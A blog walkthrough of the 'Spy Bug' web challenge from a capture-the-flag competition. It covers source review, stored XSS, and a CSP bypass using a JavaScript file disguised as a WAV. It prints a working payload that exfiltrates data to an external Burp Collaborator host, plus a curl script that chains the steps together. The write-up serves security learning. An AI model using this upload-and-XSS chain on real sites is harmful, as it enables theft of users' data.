forbytten blogs

Spy Bug walkthrough - Cyber Apocalypse 2023

Last update:

1 Introduction

I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.

This walkthrough covers the Spy Bug challenge in the Web category, which was rated as having a ‘medium’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.

The description of the challenge is shown below.

Spy Bug description

The key techniques employed in this walkthrough are:

2 Mapping the application

2.1 Mapping the application via interaction

  1. The target website was opened in the Burp browser, which redirected to a login form at /panel/login

    The website redirects to a login form

2.2 Mapping the application via source code review

  1. Manual review of the server side source code indicated a successful login would redirect to /panel

    A successful login would redirect to /panel
  2. If the authenticated username is admin, the panel sets the rendered username to the flag obtained from an environment variable

    Username is set to the flag if the authenticated username is admin

3 Vulnerability analysis

3.1 A strong admin password is in use

  1. On line 11 in database.js, the admin password is sourced from an ADMIN_SECRET environment variable and stored in the database as a bcrypt password hash. As bcrypt is a secure password hashing algorithm, the password is not expected to be vulnerable to brute force attacks unless the value of ADMIN_SECRET is weak, albeit the work factor is also not explicitly set by the code and the default work factor was not investigated within the scope of this walkthrough.

    admin user password stored in database as a bcrypt password hash
  2. The value of ADMIN_SECRET was found to be generated as a cryptographically pseudorandom 32 character alphanumeric string, and is thus not considered to be a weak value.

    admin user password is set to a strong, cryptographically pseudorandom 32 character alphanumeric string

3.2 XSS (Cross-site scripting) vulnerability identification

  1. The panel.pug view template rendered by the /panel route was found to contain two noticeable aspects

    1. The template renders the username to the output. As previously identified, the username value will be the flag if the authenticated user is admin

      The username is rendered by the panel.pug view template
    2. The template contains a potential XSS vulnerability which corresponds to the common weakness CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’). This arises due to the use of the pug unescaped string interpolation syntax of !{...} when displaying agent properties. A good reference for mitigating this type of vulnerability is the OWASP Cross Site Scripting Prevention Cheat Sheet.

      panel.pug contains an XSS vulnerability due to the use of unescaped string interpolation

      However, this attack vector is limited by the CSP (Content Security Policy) header set application wide in index.js. Specifically, script-src is set to self which restricts scripts to only be loaded from the same origin. In particular, inline scripts will not be loaded.

      index.js sets a site wide CSP (Content Security Policy) to restrict scripts to only be loaded from the same origin

      The presence of the CSP header in the HTTP responses was also confirmed

      The CSP header was observed in the HTTP responses

3.3 adminbot visits the admin page every 60 seconds

A bot is implemented which logs into the admin page once every 60 seconds, simulating a human user who regularly logs into the application. This is notable, as the XSS vulnerability identified above is a client side vulnerability that requires a victim user to trigger the payload.

  1. The bot is defined in adminbot.js

    adminbot.js defines a bot which logs into the admin page
  2. The admin bot is scheduled to run every 60 seconds in index.js

    index.js schedules the bot to run once every 60 seconds

3.4 Identifying the agent properties as attacker controllable

In order to determine whether the agent properties rendered in panel.pug are attacker controllable two, notable routes were identified

  1. GET /agents/register allows self-registration of agents, delegating to database.js to generate, persist and return a unique agentId and agentToken

    The agents/register route delegates to the registerAgent function imported from database.js
    The registerAgent function generates and returns an agentId and agentToken
  2. POST /agents/details/:identifier/:token allows a registered agent to persist hostname, platform and arch attributes, the very same details that panel.pug renders unsafely. Due to the presence of persistence, this indicates the previously identified XSS vulnerability is a Stored XSS vulnerability.

    Registered agents can persist hostname, platform and arch attributes to the database

3.5 CSP bypass identification

POST /agents/upload/:identifier/:token allows uploading of a file to the server, where the only restriction on the content is that it must contain, in hex encoding, a sequence matching the regex /52494646[a-z0-9]{8}57415645/g. multer is used for the uploading and the filename is auto generated, before being returned in the response.

The sole reliance on a weak regex validation rule gives rise to an arbitrary file upload vulnerability, which is an instance of the common weakness CWE-434: Unrestricted Upload of File with Dangerous Type. A good reference for mitigating this type of vulnerability is the OWASP File Upload Cheat Sheet.

Registered agents can upload files that are only validated in a weak manner by a basic regex matching on the content

3.6 Attack chain hypothesis

Given the observations above, the following attack chain was hypothesized

  1. Use the /agents/register endpoint to register a new agent to obtain an agentId and agentToken
  2. Use the agentId and agentToken to upload a file that passes the weak validation performed by the /agents/upload/:identifier/:token route but which actually contains executable client side JavaScript. This JavaScript would extract the flag from the admin page and exfiltrate it to an attacker controlled endpoint.
  3. POST details to the /agents/details/:identifier/:token where one of the hostname, platform or arch fields contains an HTML script element that sources the file uploaded from the previous step.

4 Exploitation

  1. The JavaScript payload to be uploaded to /agents/details/:identifier/:token was crafted in a new file, poison.wav, shown below.

    • Lines 2-3 read the text content from the h2 element on the page which contains the flag when viewed by the admin user.
    • Lines 4-7 append the flag to an img URL and appends the img to the page body. The img URL is an external Burp Collaborator endpoint.
    • The final line contains a JavaScript comment and binary bytes matching the header of a WAV file, which was obtained from the start of challenge/agent/rec.wav provided with the challenge.
    console.log('executed');
    h2=document.getElementsByTagName('h2')[0];
    flagtext=h2.textContent;
    img=document.createElement('img');
    img.src='http://hav3msodo1zy77pj8yeiyjli59b0zrng.oastify.com/'+encodeURIComponent(flagtext);
    body=document.getElementsByTagName('body')[0];
    body.append(img);
    //RIFF/*WAVEfmt €»î
    $ tail -1 poison.wav|xxd
    00000000: 2f2f 5249 4646 2f2a 1600 5741 5645 666d  //RIFF/*..WAVEfm
    00000010: 7420 1000 0000 0100 0200 c280 c2bb 0000  t ..............
    00000020: 00c3 ae0a                                ....
  2. To make exploitation more easily reproducible, an exploit.sh shell script was written. Verbose comments have been included to document the script.

    #!/usr/bin/zsh
    
    # Target to deliver the exploit to
    target='165.232.100.46:32462'
    
    # register a new agent and obtain the agent identifier and token
    registration=$(curl -s --proxy 127.0.0.1:8080 http://$target/agents/register)
    agent_identifier=$(echo $registration | jq -r .identifier)
    agent_token=$(echo $registration | jq -r .token)
    
    # upload javascript file (poison.wav) to be served from the same origin as the application
    js_file=$(curl -s --proxy 127.0.0.1:8080 -F 'recording=@poison.wav;type=audio/wave' "http://$target/agents/upload/$agent_identifier/$agent_token")
    echo "uploaded js to http://$target/uploads/$js_file"
    
    # upload HTML in the 'hostname' agent details to source the javascript file, thus achieving XSS
    payload="<script src='/uploads/$js_file'></script>"
    curl --proxy 127.0.0.1:8080 -X POST -H 'Content-Type: application/json' --data-raw "{\"hostname\":\"$payload\",\"platform\":\"htb\",\"arch\":\"htb\"}" "http://$target/agents/details/$agent_identifier/$agent_token"
  3. After execution of exploit.sh, a callback to Burp Collaborator was observed with the flag in the URL path

    The flag was received by Burp Collaborator

5 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned